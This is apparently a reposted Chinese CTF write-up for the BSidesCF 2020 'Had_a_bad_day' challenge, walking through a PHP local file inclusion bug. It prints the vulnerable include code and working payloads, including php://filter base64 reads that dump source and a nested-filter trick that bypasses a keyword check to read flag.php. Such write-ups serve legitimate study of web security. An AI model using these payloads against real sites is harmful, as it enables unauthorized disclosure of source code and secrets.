当前位置:网站首页>[BSidesCF_2020]Had_a_bad_day
[BSidesCF_2020]Had_a_bad_day
2022-07-06 09:15:00 【Her&mes】
WP
可以说,这个题目就是教学题目,虽然我不会
这里考查php伪协议嵌套
跨进题目的大门就要找到注入点,这里在看到url的形式后联想/尝试文件包含,我完全没有往这里想,反而鬼畜的想到了模板注入,
而且差点忘了直接访问flag.php确定flag值位置,习惯太糟糕了
在选择按钮后URL为
http://d4a987de-9150-4004-9493-9173f710ba17.node3.buuoj.cn/index.php?category=woofers
http://d4a987de-9150-4004-9493-9173f710ba17.node3.buuoj.cn/index.php?category=meowers
经验少(没有经验)的我看这里很难确定是文件包含,积累了。
尝试payload
category=file:///var/www/html/index.php
用file://伪协议是我探路的习惯
有错误回显:
Warning: include(file:///var/www/html/index.php.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37
Warning: include(): Failed opening 'file:///var/www/html/index.php.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37
很高兴这里没有过滤关键字,看来源代码里会在参数后自动拼接.php
修改payload
category=file:///var/www/html/index
成功回显index.php页面(整个页面十分鬼畜,毕竟套娃了),现在修改payload,使源码回显
category=php://filter/convert.base64-encode/resource=index
真友好,没有过滤关键字,源码回显
PGh0bWw+CiAgPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IkltYWdlcyB0aGF0IHNwYXJrIGpveSI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCwgbWluaW11bS1zY2FsZT0xLjAiPgogICAgPHRpdGxlPkhhZCBhIGJhZCBkYXk/PC90aXRsZT4KICAgIDxsaW5rI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ZyIgc3R5bGU9IndpZHRoOiAxODkuMzU2cHg7IGhlaWdodDogMTg5LjM1NnB4OyB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtNTAlLCAtNTAlKSB0cmFuc2xhdGUoMzFweCwgMjVweCk7Ij48L3NwYW4+PC9zcGFuPjwvYnV0dG9uPjwvY2VudGVyPgogICAgICAgICAgPC9mb3JtPgoKICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICA8L21haW4+CiAgICA8L2Rpdj4KICAgIDxzY3JpcHQgc3JjPSJqcy9tYXRlcmlhbC5taW4uanMiPjwvc2NyaXB0PgogIDwvYm9keT4KPC9odG1sPg==
base64解码,摘出php片段
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
strpos() 函数返回字符串在另一字符串中第一次出现的位置。如果存在,返回数字,如果没有找到该字符串,则返回false,且在默认情况下从左起,第0位开始
这里判定的要求是要么有woofers,要么有meowers,要么有index且index不在字符串开头
终于到考点了,php伪协议嵌套
payload
category=php://filter/convert.base64-encode/index/resource=flag
这里index被认为是键名,由于php://filter伪协议参数中没有该键名,报错,跳过,继续执行resource的参数
(这是我个人的理解,不对的话,请告诉我)
查了资料php://filter姿势不少,之后学习学习,补一补脑子。
边栏推荐
- Picture coloring project - deoldify
- 报错解决 —— io.UnsupportedOperation: can‘t do nonzero end-relative seeks
- 解决安装Failed building wheel for pillow
- 图像识别问题 — pytesseract.TesseractNotFoundError: tesseract is not installed or it‘s not in your path
- PHP - whether the setting error displays -php xxx When PHP executes, there is no code exception prompt
- How to build a new project for keil5mdk (with super detailed drawings)
- JDBC原理
- QT creator specify editor settings
- 软件测试-面试题分享
- AcWing 1298.曹冲养猪 题解
猜你喜欢
Detailed reading of stereo r-cnn paper -- Experiment: detailed explanation and result analysis
一键提取pdf中的表格
Install mongdb tutorial and redis tutorial under Windows
Vs2019 desktop app quick start
vs2019 第一个MFC应用程序
QT creator runs the Valgrind tool on external applications
Did you forget to register or load this tag 报错解决方法
Vs2019 use wizard to generate an MFC Application
解决安装Failed building wheel for pillow
MySQL与c语言连接(vs2019版)
随机推荐
Dotnet replaces asp Net core's underlying communication is the IPC Library of named pipes
QT creator design user interface
软件测试-面试题分享
数据库高级学习笔记--SQL语句
使用lambda在循环中传参时,参数总为同一个值
Some notes of MySQL
DICOM: Overview
Integration test practice (1) theoretical basis
Face recognition_ recognition
[AGC009D]Uninity
What does BSP mean
Basic use of redis
JDBC principle
图像识别问题 — pytesseract.TesseractNotFoundError: tesseract is not installed or it‘s not in your path
MTCNN人脸检测
Asp access Shaoxing tourism graduation design website
解决安装Failed building wheel for pillow
Learning question 1:127.0.0.1 refused our visit
[蓝桥杯2017初赛]包子凑数
Solution to the practice set of ladder race LV1 (all)